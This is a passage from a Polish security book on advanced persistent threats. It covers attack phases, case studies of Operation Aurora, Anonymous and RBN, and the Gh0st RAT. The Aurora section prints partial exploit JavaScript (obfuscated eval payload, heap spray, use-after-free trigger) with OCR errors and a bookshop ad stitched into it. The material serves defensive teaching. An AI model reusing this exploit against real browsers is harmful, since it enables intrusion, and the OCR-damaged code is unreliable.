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popularnoséci. APT oznacza powtarzajacy si¢ nieuwierzytelniony dostep do

korporacyjnych sieci. Okreslenie to trafifo na nagtéwki gazet i bylo powodem
wielu bezsennych nocy licznych informatykéw odpowiedzialnych za bezpieczenstwo.
Jednak samo zagadnienie nie jest niczym nowym. Jesli byles jednym ze szczgéciarzy,
ktérzy w 1999 roku kupili pierwsze wydanie ksiazki Hacking Exposed, i otworzyle$
tylng okladke, mogles zobaczy¢ schemat zatytulowany Anatomy of a Hack. Pokazano
na nim prosty proces metodycznego namierzania i atakowania sieci przez hakeréw.
Cho¢ na diagramie nie przedstawiono eksploitéw typu zero-day, oméwiono je szcze-
golowo w tekscie ksigzki. Opis ten w polaczeniu ze schematem Anatomy of a Hack
byt zapowiedzig tego, co pdzniej nazwano atakami APT.

Obecnie pojecie APT stosuje si¢ czesto niepoprawnie, okreélajac tym mianem
popularne szkodliwe oprogramowanie, np. robaki i trojany oparte na skomplikowa-
nych technikach lub zaawansowanych rozwigzaniach programistycznych, ktére pozwa-
lajg napastnikom omingé¢ programy antywirusowe i inne aplikacje zabezpieczajace
oraz dzialaja w systemie przez dlugi czas. W rzeczywisto$ci ataki APT polegaja na
zastosowaniu przez hakera zaawansowanych narzedzi do wlamania si¢ do systemu,
przy czym majg pewna dodatkowg ceche — s3 przeprowadzane w jakim$ waznym
celu. Wigkszos$¢ hakeréow chce uzyska¢ dostep do systemu, wykona¢ zaplanowane
operacje i usung¢ okreslone dane. W atakach APT celem jest wykorzystywanie systemu
przez dlugi czas. Pamigtaj jednak, ze atak APT nie musi by¢ ani zaawansowany (ang.
advanced), ani trwaly (ang. persistent).

Ataki APT sg przeciwiefistwem oportunistycznych wlaman popularnych na
poczatku obecnego wieku (wykorzystywano w nich techniki w rodzaju hakowania za
pomoca zapytan do wyszukiwarki, tzw. Google hacking, pozwalajacych znalez¢ nie-
zabezpieczone maszyny). Ataki APT sa zaplanowane, wymierzone w konkretny cel
i prowadzone przez zorganizowane grupy oraz majg przynies¢ okreslone skutki (w tym
staly dostep). Wykrycie konkretnych narzedzi czgsto pozwala podejrzewac, ze ma miej-
sce atak APT (cho¢ nie daje takiej pewnosci), poniewaz rézni napastnicy stosuja
w trakcie dzialan podobne pakiety. Moze to pomdc powigzaé zagrozenie z konkretna
grupa.

Na ogdélnym poziomie ataki APT mozna podzieli¢ na dwie kategorie w zaleznosci
od zamiaréw napastnikéw. Pierwsza grupa koncentruje si¢ na dzialalnosci przestep-
czej i jest zainteresowana danymi osobowymi oraz (lub) finansowymi, a takze posia-
danymi przez firmy informacjami, ktére mozna wykorzysta¢ do podszywania sie,
oszustw finansowych lub kradziezy. Druga grupa zajmuje si¢ wywiadem gospodar-
czym lub szpiegostwem na rzecz panstw (czasem obszary te zachodza na siebie).
W ramach tych dziatan sg przejmowane zastrzezone i zwykle niedostepne publicznie
informacje, np. wlasnos¢ intelektualna i tajemnice handlowe. Pozwala to wprowadza¢

P ojecie APT (ang. Advanced Persistant Threats) ostatnio znacznie zyskato na
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na rynek konkurencyjne produkty i ustugi oraz projektowac strategie rywalizacji
z okradzionymi firmami lub reagowania na mozliwosci tych organizacji.

Ataki APT moga by¢ wymierzone w organizacje spoteczne, polityczne, rzadowe
lub przemystowe — i czesto s3. Informacje dajg wladze, a dostep do danych na temat
konkurengji i kontrolowanie ich zapewnia duzo mozliwosci. To wlasnie jest ostateczny
cel atakéw APT — zdoby¢ i utrzymac dostep do waznych dla napastnikéw informacji.
Niezaleznie od tego, czy dzialania s prowadzone w ramach wspieranego przez pan-
stwo szpiegostwa przemystowego lub zorganizowanej przestepczosci, czy przez nie-
zadowolone grupy spoleczne, metody i techniki atakéw APT sg bardzo podobne,
dlatego mozna je rozpozna¢ i odrézni¢ od przypadkowych infekcji komputerow szko-
dliwym oprogramowaniem.

Warto powtdrzy¢ ten wazny punkt — ataki APT to nie szkodliwe oprogramo-
wanie. W wielu sytuacjach napastnicy nawet nie stosuja oprogramowania tego rodzaju,
przy czym niektorzy hakerzy lubig postugiwac si¢ pewnymi narzedziami, co pomaga
analitykom i $ledczym powigza¢ ataki z okreslonymi grupami (a takze znalez¢ pozo-
stalosci i dowody operacji wielokrotnie przeprowadzanych przez napastnikow). Ataki
APT to dziatania prowadzone przez zorganizowang grupe w celu uzyskania (trwalego)
dostepu do konkretnego systemu i kradziezy informacji dla potrzeb finansowych,
spolfecznych, przemystowych, politycznych lub konkurencyjnych.

CZYM JEST ATAK APT?

Pojecie Advanced Persistent Threat (APT; zaawansowane trwale zagrozenie) zostalo
utworzone przez analitykow z amerykanskich Sit Powietrznych w 2006 roku. Opisuje
ono trzy aspekty atakow zwigzane z profilem, zamiarami i strukturg grupy napastnikéow.

* Zaawansowane. Napastnik jest biegty w metodach cyberatakow i technikach
administracyjnych. Potrafi rozwija¢ niestandardowe eksploity i narzedzia.

* Trwale. Napastnik ma dtugoterminowe cele i stara si¢ je osiagna¢, unikajac
przy tym wykrycia.

» Zagrozenie. Napastnicy sg zorganizowani, maja duze $rodki, motywacje
i mozliwosci.

Ataki APT, jak wczeéniej wspomnielismy, to dzialania zorganizowanej grupy,
ktéra ma nieuwierzytelniony dostep do systeméw informacyjnych i taczy komuni-
kacyjnych oraz moze nimi manipulowac. Celem jest kradziez cennych informaciji,
ktére mozna wykorzysta¢ w roézny sposob. Ataki APT s3 zwigzane ze szpiegostwem,
wywiadem gospodarczym i brudnymi sztuczkami. Sg forma szpiegostwa, ktdra daje
dostep do cyfrowych zasoboéw. Napastnicy starajg sie usuna¢ przeszkody na drodze
do uzyskania tego dostepu, dlatego rzadko uciekaja sie do sabotazu. Hakerzy moga
jednak postugiwa¢ si¢ roznymi technikami zacierania $ladéw dziatan w dziennikach
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systemowych i moga nawet uszkodzi¢ system operacyjny lub system plikéw. Narze-
dzia APT roznig si¢ od innego szkodliwego oprogramowania, poniewaz wykorzystuja
normalne funkcje systemu operacyjnego i sa widoczne w systemie plikow.

Grupy przeprowadzajace ataki APT nie chca, aby ofiara wykryla wykorzystywane
przez nie narzedzia lub techniki. Dlatego nie chca blokowa¢ ani zaktéca¢ normalnego
dzialania systemu w atakowanych hostach. Zamiast tego stosuja dyskretne techniki
ataku, penetracji, rekonesansu, poruszania si¢ w poziomie, administrowania i wypro-
wadzania danych. Techniki te zazwyczaj odzwierciedlaja podobne administracyjne
lub operacyjne dzialania atakowanej firmy, cho¢ odkryto, ze niektére grupy stosuja
w swoich operacjach konkretne narzedzia. W niektdrych sytuacjach ataki APT pomo-
gly zaatakowanym firmom (nieswiadomie) zabezpieczy¢ systemy przed szkodliwym
oprogramowaniem lub atakami APT ze strony innych grup.

Cho¢ stosowane techniki sg dyskretne, nie dotyczy to pozostalosci po przepro-
wadzonych dzialaniach. Np. najpopularniejsza metoda uzyskiwania dostepu do doce-
lowych sieci w atakach APT jest ukierunkowany phising (ang. spear-phishing). Tech-
nika ta jest oparta na e-mailach, dlatego — czesto w wielu miejscach — pozostaja
slady po wiadomo$ciach, zastosowanej metodzie ataku oraz adresach i protokotach
wykorzystywanych do komunikowania si¢ z komputerami napastnikow. E-maile prze-
sylane w ukierunkowanym phishingu moga obejmowac¢ szkodliwe oprogramowanie,
ktore probuje zaatakowac aplikacje z komputera uzytkownika. Moga tez kierowaé
uzytkownika (na podstawie pewnych informagcji identyfikujacych jego tozsamos¢) na
serwer udostepniajacy niestandardowe szkodliwe oprogramowanie, ktére umozliwia
hakerom dalsze dzialania w ramach ataku APT.

Napastnicy zwykle wykorzystuja wczesniej przejete sieci komputeréw jako pod-
stawione systemy, aby ukry¢ sie za nimi, gdy przesylaja instrukcje i steruja atakiem.
Jednak adresy podstawionych serweréw moga okaza¢ si¢ waznymi poszlakami pomoc-
nymi przy ustalaniu tozsamosci danej grupy. Takze systemy pocztowe uzywane do
ukierunkowanego phishingu, a nawet stosowane eksploity (zwykle programy do insta-
lowania trojanéw — ang. trojan dropper) moga dziala¢ w modelu ,,ptatnosci za insta-
lacje” lub ,leasingu”. Mimo to podobne adresy, metody i eksploity w polgczeniu
z innymi informacjami ustalonymi w trakcie §ledztwa czesto pozwalaja powigzaé
z atakiem konkretne grupy.

Inne popularne techniki stosowane w atakach APT to wstrzykiwanie kodu w SQL-u
w docelowych witrynach, postugiwanie sie ,,metaeksploitami” serweréw WWW, phish-
ingiem, eksploitami aplikacji uzywanych w sieciach spolecznosciowych, a takze stan-
dardowe metody z obszaru inzynierii spotecznej, np. podawanie si¢ za uzytkownika
w rozmowach z pomoca techniczng, podrzucanie zainfekowanych pendrive’éw, roz-
dawanie zainfekowanego sprzetu lub oprogramowania, a w skrajnych przypad-
kach tradycyjne szpiegowanie przez zwyktych lub kontraktowych pracownikow. Ataki
APT zawsze obejmujg pewne aspekty inzynierii spolecznej. Inzynieria spoteczna —
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niezaleznie od tego, czy ogranicza si¢ do korzystania z adreséw e-mail z publicznych stron
internetowych, czy polega na szpiegostwie korporacyjnym przez pracownikéw kon-
traktowych — pozwala pozna¢ cel i pomaga napastnikom opracowac strategie dostepu
do docelowych systeméw operacyjnych, wykorzystania luk i wydobycia danych.
Ataki APT zawsze obejmuja kilka etapow, po ktérych pozostaja slady. Oto te fazy:

1. Namierzanie. Napastnicy zbieraja informacje o celu ze zrédet publicznych lub
prywatnych i sprawdzaja metody, ktére moga poméc w uzyskaniu dostepu.
Postuguja si¢ przy tym skanowaniem luk (przez testy bezpieczenstwa aplikacji
i ataki typu DDoS), inzynierig spofeczng lub ukierunkowanym phishingiem.
Celem moze by¢ konkretna firma lub jej partner (ktéry moze umozliwi¢ posredni
dostep do docelowej organizacji przez sieci biznesowe).

2. Uzyskanie dostepu i wlamanie. Napastnicy uzyskuja dostep i ustalaja
najwydajniejsze lub najskuteczniejsze metody wykorzystania systemow
informacyjnych i stanu zabezpieczen docelowej organizacji. Na tym etapie
okreslaja dane identyfikacyjne zaatakowanego hosta (adres IP, nazwe DNS,
wyliczone udzialy NetBIOS-a, adresy serweréw DNS i DHCP, system
operacyjny itd.), a takze w miare mozliwosci zbieraja dane uwierzytelniajace
i profile, co pomaga w dalszych wtamaniach. Napastnicy moga probowa¢ ukry¢
swoje zamiary, instalujgc programy typu rogueware lub inne szkodliwe
oprogramowanie.

3. Rekonesans. Napastnicy wyliczajg udziaty sieciowe, odkrywaja architekture
sieci, ustugi ttumaczenia nazw, kontrolery domeny, a takze sprawdzaja,
czy ustugi i administrator maja uprawnienia dostepu do innych systemow
i aplikacji. Hakerzy moga prébowa¢ wlamac si¢ na konta Active Directory
lub lokalnych administratoréw z uprawnieniami do domeny. Napastnicy czesto
starajg si¢ ukry¢ dzialania przez wylaczenie programu antywirusowego
i dziennikéw systemowych (zjawiska te moga wskazywac na wlamanie).

4. Poruszanie si¢ w poziomie. Gdy napastnicy ustalili juz sposoby poruszania
sie po systemach za pomoca danych uwierzytelniajacych oraz zidentyfikowali
cele (fatwe do zaatakowania lub dostosowane do zamiaréw), zaczynaja
przechodzi¢ w poziomie do innych hostéw z sieci. Etap ten nie wymaga
stosowania szkodliwego oprogramowania ani specjalnych aplikacji. Wystarcza
rozwigzania dostepne w systemach operacyjnych przejetych hostéw, np. powloka
polecen, instrukcje NetBIOS-a, ustugi terminalowe systemu Windows, sieci
VNC lub inne podobne narzedzia uzywane przez administratoréw sieci.

5. Zbieranie i wyprowadzanie danych. Napastnikéw interesujg informacje —
niezaleznie od tego, czy stuza do dalszego namierzania ofiar, utrzymania dostepu
lub innych celéw, hakerzy chca zdoby¢ i ukras¢ dane. Napastnicy czesto tworza
»punkty zbierania danych” i wyprowadzaja informacje za pomoca
podstawionych sieci posredniczacych. Czasem stosuje si¢ tez niestandardowe
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techniki szyfrowania (i szkodliwe oprogramowanie), aby utrudni¢ zrozumienie
plikéw danych i powigzanych polaczen, przez ktore s3 wyprowadzane
informacje. W wielu sytuacjach napastnicy wykorzystuja istniejace
oprogramowanie do tworzenia kopii zapasowych i inne narzedzia
administracyjne, ktérymi postuguja si¢ administratorzy sieci i systemow
w zaatakowanej organizacji. Wyprowadzanie danych odbywa si¢ fragment
po fragmencie lub w duzych porcjach. Zalezy to od tego, czy napastnikowi
sie spieszy i czy jego zdaniem firma potrafi wykry¢ kradziez danych.

6. Administrowanie i konserwacja narzedzi. Innym celem w atakach APT jest
utrzymanie dostepu. Wymaga to administrowania narzedziami (szkodliwym
oprogramowaniem i potencjalnie niepozadanymi lub przydatnymi programami,
np. pakietem Sysinternals) i danymi uwierzytelniajacymi oraz ich
konserwowania. Napastnicy przygotowuja kilka réznych drég zdalnego dostepu
do sieci oraz tworza flagi i wyzwalacze informujace o zmianach w architekturze
systemu. Pozwala to na podjecie odpowiednich dziatan, takich jak namierzanie
nowych celéw i wlamywanie sie do nich, a takze przeprowadzanie pozornych
atakow z wykorzystaniem szkodliwego oprogramowania, aby odwrdci¢ uwage
pracownikow firmy. Napastnicy zwykle probuja usprawnia¢ metody dostepu,
by byty jak najbardziej zblizone do dziatan standardowych uzytkownikéow.
Niepozadane jest ciagle poleganie na specjalnych narzedziach i szkodliwym
oprogramowaniu.

Jak wspomnieli$my, po probach dostepu moga pozosta¢ e-maile, wpisy w dzien-
nikach serwera WWW i na $ciezkach komunikacyjnych oraz inne $lady zwigzane
z zastosowanymi technikami. Takze rekonesans i poruszanie si¢ w poziomie pozo-
stawiajg artefakty wynikajace z naduzywania danych uwierzytelniajacych (regut)
lub tozsamosci (rol). Zwykle slady te znajduja sie w dziennikach zdarzen z obszaru
bezpieczenstwa i dziennikach historii aplikacji. Wyprowadzanie danych pozostawia
artefakty zwigzane z protokotami i adresami w dziennikach zapory, w dziennikach
systemow IDS (na poziomie hostéw i sieci), dziennikach systemu zapobiegania wycie-
kaniu danych, dziennikach historii aplikacji oraz dziennikach serweréw WWW.
Wspomniane $lady zwykle sa dostepne w aktywnych systemach plikow (jesli admi-
nistrator wie, gdzie i czego szukac), jednak czasem mozna je odkry¢ tylko w ramach
sagdowych badan zaatakowanych systeméw.

Techniki stosowane w atakach APT zasadniczo nie réznig si¢ od technik admi-
nistracyjnych i operacyjnych uzywanych w korporacyjnych systemach informatycz-
nych. Dlatego nieuprawniony napastnik pozostawia w systemie plikéw i innych dzien-
nikach te same $lady co upowazniony uzytkownik. Jednak nieuprawnione osoby musza
przeprowadzac eksperymenty lub korzysta¢ z dodatkowych narzedzi, aby uzyska¢
dostep i wykorzysta¢ system. Dlatego pozostaja po nich pewne anomalie, ktore nie
wystepuja w danych dotyczacych uprawnionych uzytkownikéw.
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W ostatnich pigciu latach wykryto kilka dtugotrwatych atakéw APT przeprowa-
dzonych przez nieznanych sprawcéw na rézne jednostki przemystowe i rzadkowe
z calego $wiata. Ataki te otrzymaly nazwy nadane przez $ledczych (Aurora, Nitro,
ShadyRAT, Lurid, Night Dragon, Stuxnet i DuQu). Kazda z akcji obejmowata dzia-
tania operacyjne, w tym dostep, rekonesans, poruszanie si¢ w poziomie, manipulo-
wanie systemami informatycznymi i wyprowadzanie prywatnych lub zastrzezonych
danych. W trzech nastepnych podpunktach omawiamy trzy ataki APT.

&’ Operacja Aurora

Popularnos¢ 1

Latwos¢ przeprowadzenia 1
Szkodliwos¢ 10

Ocena zagrozenia 4

W 2009 roku amerykanskie firmy z branzy technologicznej i zbrojeniowej staly sie
ofiarg wtamania do sieci oraz systemow zarzadzania konfiguracja oprogramowania.
Doprowadzilo to do kradziezy wysoce poufnych informacji. Z firm Google, Juniper,
Adobe i przynajmniej 29 innych przez az szes¢ miesiecy wyciekaly tajemnice han-
dlowe i wazne dla konkurencji dane. Dopiero wtedy organizacje wykryty kradziez
i podjety dzialania w celu powstrzymania ataku APT.

Napastnicy uzyskali dostep do sieci ofiar za pomocg e-maili z ukierunkowanym
phishingiem wysylanych do pracownikéw firm. E-maile te obejmowaly odno$nik do
tajwanskiej witryny, w ktorej znajdowal si¢ szkodliwy kod w JavaScripcie. Gdy odbiorca
wiadomosci kliknal odnoénik i otworzyt witryne, kod wykorzystywat luke w przegla-
darce Internet Explorer, co pozwalalo na zdalne wykonywanie kodu przez dostep do
czesciowo zwolnionej pamieci. Szkodliwy kod nie byt wykrywany przez programy
antywirusowe. Dzialal przez wstrzykiwanie kodu powtoki z nastepujacymi instrukcjami:

<html><script>var sc = unescape("%u9090%... ... %ubch9%ub2f6%ubfag8%u00d8") ;
var sss = Array(826, 679, ... ... 735, 651, 427, 770, 301, 805, 693, 413, 875);

var arr = new Array;
for (var i = 0; i < sss.length; i ++){
arr[i] = String.fromCharCode(sss[i]/7); }
var cc=arr.toString();cc=cc.replace(/ ,/ g, "");
cc = cc.replace(/@/g, ",");
eval(cc);
var x1 = new Array();
for (i = 0; i < 200; i ++){
x1[i] = document.createElement ("COMMENT");
x1[i].data = "abc";
}s

var el = null;

Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rt/wszyha
http://helion.pl/page354U~rf/wszyha

ﬂ Vademecum hackingu. Skuteczna obrona sieci przed atakami

function evl(evt){

el = document.createEventObject(evt);

document.getElementById("spl").innerHTML = "";

windows.setInterval(ev2, 50);

}
function ev2(){

p:II
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0cOd\u0cOd\u0cOd\u0cOd\u0cOd\u0cOd\u0cOd\u0cOd\uOc
0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0cOd\u0cOd\\u0c0od\
u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0cOd\u0c0d\u0c0d\u0c0d\u0c0d\\u0cOd\ulc
0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0cOd\
u0c0d";

for (i = 0; i < x1.length; i ++ ){

x1[i] .data = p;
var t = el.srcElement;
}
</script><span id="spl"><IMG SRC="aaa.gif" onload="ev1(event)">
</span></body></htm1>

W javascriptowym eksploicie wykorzystano prosta procedure obliczania sumy CRC
(ang. Cyclic Redundancy Checking) z 16 stalymi. Przedstawiono ja ponizej.

unsigned cal_crc(unsigned char *ptr, unsigned char len) {
unsigned int crc;

unsigned char da;

unsigned int crc_ta[16]={
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
0x8108,0x9129,0xal4a,0xb16b,0xc18c,0xdlad,0xelce,0xflef,
}

crc=0;

while(len--1=0) {

da=((uchar) (crc/256))/16;

cre<<=4;

crct=crc_ta[da™(*ptr/16)];

da=((uchar) (crc/256))/16;

cre<<=4;

crct=crc_ta[da™(*ptr&0x0f)];

ptrt+;

}

return(crc);

}

Niektorzy analitycy uwazaja, ze kod metody wskazuje na to, iz jej autorem jest
chinskojezyczny programista. Pomyst ten oparto na dwéch waznych odkryciach:
(1) kod obliczania sumy CRC przypuszczalnie pochodzi z pracy opublikowanej
w uproszczonym chinskim; (2) szes¢ umieszczonych w kodzie powigzanego trojana
adresow IP, z ktoérych wysylano instrukcje i kontrolowano system, stuzylo do uzy-
skiwania zdalnego dostepu i zarzadzania przejetymi komputerami polaczonymi
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z maszynami z Tajwanu (cho¢ nie z Chin). Niektdrzy analitycy podwazali te dowody,
a zwlaszcza pierwszy z nich, poniewaz zastosowanej techniki uzywano w algorytmach
w programach osadzonych przynajmniej od konca lat 80. ubiegtego wieku. Wykorzy-
stano j3 nawet jako wzorcowa metode programowania NetBIOS-a. Wiecej informacji
na ten temat znajdziesz na stronie www.amazon.com/Programmers-Guide-Netbios-
-David-Schwaderer/dp/0672226383/ref=pd_sim_b_1. Omawiane szkodliwe oprogra-
mowanie zostato nazwane Hydraq. Napisano tez sygnatury, ktére pozwalaja wykrywaé
je w programach antywirusowych.

Luka w przegladarce Internet Explorer umozliwila napastnikom automatyczne
umieszczanie na komputerach ofiar trojanéw pobierajgcych inne programy, ktére
wykorzystywaly uprawnienia przegladarki do pobierania i instalowania (oraz kon-
figurowania) trojana z ,furtka” — narzedzia RAT (ang. Remote Administration Tool).
RAT umozliwial napastnikom dostep do systemu przez szyfrowane poltaczenie SSL.

Nastepnie napastnicy przeprowadzili rekonesans sieci, zdobyli dane uwierzytel-
niajace z katalogu Active Directory, wykorzystali je do uzyskania dostepu do kom-
puterdw i udzialéw sieciowych z wlasnoscig intelektualng oraz tajemnicami han-
dlowymi, a nastepnie wyprowadzili te dane. Wszystko to trwalo kilka miesiecy, przez
ktore grupa nie zostala wykryta. Adresy komputeréw, ktére byly zrédtem ukierun-
kowanego phishingu i programéw pobierajacych trojany, wskazywaly na Tajwan,
natomiast polaczenia typu C&C (ang. Command and Control) do trojana z ,furtka”
pochodzity z dwdch chinskich szkét. Kazda z tych szkoét byta pod pewnymi wzgle-
dami konkurencja dla amerykanskich organizacji, ktére padty ofiarg ataku (np. dla
firmy Google), jednak nie udato si¢ znalez¢ dowoddéw na to, ze akcja byta finanso-
wana lub wspomagana przez chinski rzad albo przemyst.

Inne powszechnie opisywane ataki APT, w tym ,,Night Dragon” z 2010 roku,
»RSA Breach” z 2011 roku i ,,Shady RAT”, byly prowadzone przez kilka lat. Obej-
mowaly podobne namierzanie celéw. Do przeprowadzenia rekonesansu i wyprowadze-
nia poufnych danych zastosowano ukierunkowany phishing z uzyciem e-maili, wyko-
rzystywanie luk w aplikacjach, szyfrowane polaczenia i narzedzia RAT z ,furtkami”.

Wzorzec ten jest charakterystyczny dla atakéw APT. Zwykle s3 one proste (cho¢
gdy jest to konieczne, stosuje si¢ zaawansowane techniki), a po udanym wtamaniu
napastnicy niewykryci dzialaja przez kilka miesiecy lub lat. Czgsto za zrédto atakow
uznaje si¢ Chiny, cho¢ raporty chinskiego rzadu i chinskiego oddziatu organizacji
CERT wskazujg na to, ze to wlasnie chinski przemyst i rzad najczesciej sa celem napast-
nikéw. Niezaleznie od tego, czy ataki s3 prowadzone z Chin, Indii, Pakistanu, Malezji,
Korei, Zjednoczonych Emiratéw Arabskich, Rosji, Stanéw Zjednoczonych, Meksyku
czy Brazylii (kraje te podaje si¢ jako Zrdodla potaczen C&C w operacjach APT),
w atakach APT utalentowani hakerzy uzyskuja dostep do systemow, a nastepnie
namierzajg i wyprowadzajg poufne informacje wykorzystywane w konkretnym celu.
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& Grupa Anonymous

Popularnosé
Latwos¢ przeprowadzenia

Szkodliwosé

AN 1

Ocena zagrozenia

Anonymous to powstala w 2011 roku zaawansowana grupa hakeréw, ktéra zade-
monstrowalta, ze potrafi si¢ zorganizowaé w celu namierzenia komputeréw rzagdowych
i korporacyjnych oraz zlamania ich zabezpieczen. Grupa ta z powodzeniem przepro-
wadzita ataki przez odmowe ustugi na banki, spenetrowata jednostki rzadowe (miej-
skie, stanowe, krajowe oraz migdzynarodowe) i wykradla poufne dane, a takze ujaw-
nila te informacje, co miato bardzo powazne skutki. Przejete dane dotyczyty m.in.
tozsamosci pracownikow i menedzeréw oraz szczegélow na temat zwigzkow miedzy
firmami i agencjami rzgdowymi.

Anonymous to luzno powigzana grupa (lub zbiér grup) o czesciowo pokrywaja-
cych sie interesach, ktdéra potrafi zorganizowa¢ si¢ na potrzeby osiggania réznych
celéw — od handlowych (ujawnianie kompromitujacych szczegétéw na temat powia-
zan biznesowych) po spoleczne (ujawnianie korupcji lub zaklécanie pracy rzadu,
a takze ulatwianie i koordynowanie komunikacji oraz dzialan zainteresowanych
obywateli). Grupa stosuje rozmaite techniki hakerskie, m.in. wstrzykiwanie kodu
w SQL-u, skrypty XSS i wykorzystywanie luk w ustugach sieciowych, a takze metody
inzynierii spotecznej, w tym ukierunkowany phishing i podawanie si¢ za pracownikow
firmy (np. pracownikéw pomocy technicznej) w celu uzyskania danych uwierzytel-
niajacych. Cztonkowie grupy sg bardzo pomystowi i skuteczni. Ich gtéwnym celem jest
ujawnianie informacji, a nie zdobywanie dzigki nim przewagi konkurencyjnej lub
korzysci finansowych. Grupa infiltruje tez sieci komputerowe, a nawet instaluje
»furtki”, ktére moze w przysztosci wykorzystac.

Poniewaz Anonymous reprezentuje interesy spoteczne, celem jej czlonkow jest
pokazanie, ze niewielka grupa moze mie¢ duzy wplyw przez zakldcanie pracy serwi-
séw lub ujawnianie poufnych informacji. Sukcesy tej grupy sa nagtasniane, a porazki
s3 niemozliwe do wykrycia. Wynika to z tego, ze jej dzialania sg rozproszone i przy-
pominajg prace zautomatyzowanych lub recznych skaneréw oraz proby penetracji,
na ktdre sieci firmowe sg nieustannie narazone.

Zdaniem wielu os6b grupa Anonymous nie przeprowadza atakéw APT, poniewaz
jej akcje czesto maja na celu uszkodzenie witryny lub zablokowanie dostepu do serwisu.
Jednak dzialania te nieraz majg odcigga¢ uwage od innych operacji. Kilka glosnych
akeji grupy Anonymous wobec agencji rzadowych i firm z listy Fortune 500 obejmo-
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walo ataki typu DDoS na witryny (rysunek 6.1) i wlamania na komputery polaczone
z wyprowadzeniem poufnych informacji. Uzyskane dane cze¢sto sg ujawniane na
publicznych forach i udostepniane dziennikarzom w celu wzbudzenia sensacji.

8 & vLow Orbit lon Cannon | When harpeons, alr strikes and nukes falls | v. L0400

Rysunek 6.1. Grupa Anonymous wykorzystata narzedzie LOIC (ang. Low Orbit lon Cannon)
do przeprowadzenia atakdw DDoS na przeciwnikow serwisu WikiLeaks

é RBN

Popularnosé¢

Latwos¢ przeprowadzenia

Szkodliwosé

DN O

Ocena zagrozenia

RBN (ang. Russian Business Network) to grupa przestepcza skupiajaca firmy i orga-
nizacje. Wczesniej dzialala w Sankt Petersburgu, a obecnie dzigki partnerom rozprze-
strzenila si¢ na wiele innych panstw i prowadzi dzialalno$¢ na skale miedzynaro-
dowa. Grupa zarzadza kilkoma botnetami, ktére wynajmuje, rozsyla spam, stosuje
phishing, rozpowszechnia szkodliwe oprogramowanie i zajmuje si¢ hostingiem pfat-
nych witryn pornograficznych (takze z pornografig dzieciecg i z fetyszami). Botnety
zarzadzane przez grupe RBN lub powigzane z nig dziataja w uporzadkowany sposob.
Stuza do kradziezy tozsamodci i srodkéw finansowych oraz wykorzystujg bardzo
zaawansowane szkodliwe oprogramowanie do utrwalenia swojej obecnosci na kom-
puterach ofiar.
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Szkodliwe oprogramowanie stosowane przez RBN jest zwykle bardziej zaawan-
sowane niz narzedzia uzywane w atakach APT. Oprogramowanie to czgsto stuzy do
bezposredniego osiggania celow lideréw grupy, a ponadto zapewnia abonentom plat-
forme do prowadzenia innych dziatan (botnety mozna wykorzysta¢ np. do przeprowa-
dzenia atakéw DDoS i jako systemy posredniczace w polaczeniach w atakach APT).

RBN jest przykladem zorganizowanej dzialalnosci przestgpczej, jednak nie jest to
jedyna grupa tego typu. Cyberprzestepcy (zaréwno stowarzyszeni z RBN, jak i nieza-
lezni) wykorzystujag RBN jako model, a ich sieci przez caly 2011 rok ulatwiaty ataki
APT innym grupom. Ulatwianie dostepu do przejetych systemow jest przykladem
dziatan z obszaru APT.

CZYM ATAKI APT NIE SA?

Rownie wazne jak zrozumienie, czym sa ataki APT, jest ustalenie, czym one nie s3.
Opisane wczedniej techniki sg stosowane zaréwno w atakach APT, jak i przez innych
napastnikéw, ktdrzy sa zainteresowani (czesto z uwagi na dostrzezona okazje) zaklo-
ceniem pracy firmy, sabotazem, a nawet dzialalnoscig przestepcza.

APT nie jest ani konkretnym szkodliwym programem, ani zestawem szkodliwego
oprogramowania, ani okreslong czynnoscia. Ataki APT to skoordynowane i szeroko
zakrojone dzialania, ktore majg pozwoli¢ osiagna¢ konkretny cel (zwigzany z konku-
rencjg, finansami, reputacja itd.).

PRZYKLADOWE POPULARNE NARZEDZIA | TECHNIKI
Z OBSZARU APT

Aby opisa¢ ataki APT i sposoby ich wykrywania, w dalszych podpunktach przedsta-
wiamy przykladowe narzedzia i techniki wykorzystane w kilku tego rodzaju atakach.

& Atak za pomoca narzedzia GhOst

Popularnosé 9
Latwosc¢ przeprowadzenia 10
Szkodliwos¢ 9

Ocena zagrozenia 9

Narzedzie RAT o nazwie GhOst, uzywane w atakach GhOstnet w latach 2008 -
2010, to znany przyklad szkodliwego oprogramowania stosowanego w atakach
APT. 29 marca 2009 roku w serwisie Information Warfare Monitor (IWM;
www.infowar-monitor.net/about/) opublikowano dokument zatytulowany Tracking
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GhOstNet — Investigation of a Cyber Espionage Network (www.infowar-monitor.net/
research/). Dokladnie opisano w nim szczegétowe badania $ledcze zwigzane z atakiem
(i wlamaniem) na systemy komputerowe Prywatnego Biura Dalajlamy, tybetanskiego
rzadu na uchodzstwie i kilku innych tybetanskich organizacji. Po dziesi¢ciu miesigcach
zmudnych badan zespot utalentowanych ,,cyberdetektywow” stwierdzit, ze zrodtem
atakow byly Chiny, a do wlamania do systemoéw ofiar wykorzystano zaawansowane
szkodliwe oprogramowanie — narzedzie RAT o nazwie GhOst. Na rysunku 6.2 przed-
stawiono program do wydawania polecen z tego narzedzia, a w tabeli 6.1 opisano
mozliwosci GhOsta. Pora pokrdtce oméwic jego najwazniejsze funkcje.

fe Foundstone Friendly GhOst RAT ¥.3.7

Screen Control
Keylogger

Remote Terminal
System Management
Video View

Vicice Monitoring
Session Management ¥
Qther Features 4
Change Notes

Disconneck

Select Al
Deselect

4 L]

Connections { Sattings ), Buibd /
192.168.1.2499 51 0.02 kbjs R: 0.32 kbfs Port: 80 Connactions: 2

Rysunek 6.2. Ekran do wydawania polecer i sprawowania kontroli w GhOscie

W poniedzialkowy poranek w listopadzie Charles otworzyl swoja skrzynke
pocztowa. Musial zapoznac¢ sie z dlugg lista e-maili, skonczy¢ jaka$ papierkowsa robote
i wzig¢ udzial w dwoch spotkaniach w dziale finanséw. W trakcie odpowiadania na
wiadomosci Charles zauwazyl, ze jedna z nich byla zaadresowana do dzialu finanséw.
Dotyczyla pewnej blednie przeprowadzonej transakcji finansowej. W wiadomosci
